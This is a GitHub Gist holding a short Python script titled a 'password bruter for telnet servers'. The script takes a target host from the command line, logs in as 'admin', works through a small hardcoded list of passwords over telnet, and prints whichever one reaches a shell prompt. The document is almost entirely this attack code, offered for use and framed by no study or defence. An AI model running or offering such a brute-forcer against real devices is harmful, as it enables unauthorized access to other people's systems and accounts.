Last active
October 19, 2015 10:51
-
-
Save avin/b50ce6875b79fb36d7c7 to your computer and use it in GitHub Desktop.
Simple password bruter for telnet servers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| import pexpect | |
| from sys import argv | |
| PROMPT=">$" | |
| login = 'admin' | |
| passwords = ['foo', 'bar', 'arr', 'agg', 'secret', 'fooo0'] | |
| for password in passwords: | |
| exp=pexpect.spawn('telnet %s' % argv[1]) | |
| i = exp.expect('Username:') | |
| exp.sendline(login) | |
| exp.expect('Password:') | |
| exp.sendline(password) | |
| res = exp.expect([PROMPT, "Error User\\'s Name or Password\!"]) | |
| print "Trying [" + password + "]" | |
| if res == 1: | |
| print "worng pass" | |
| else: | |
| print "good pass: " + password | |
| exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment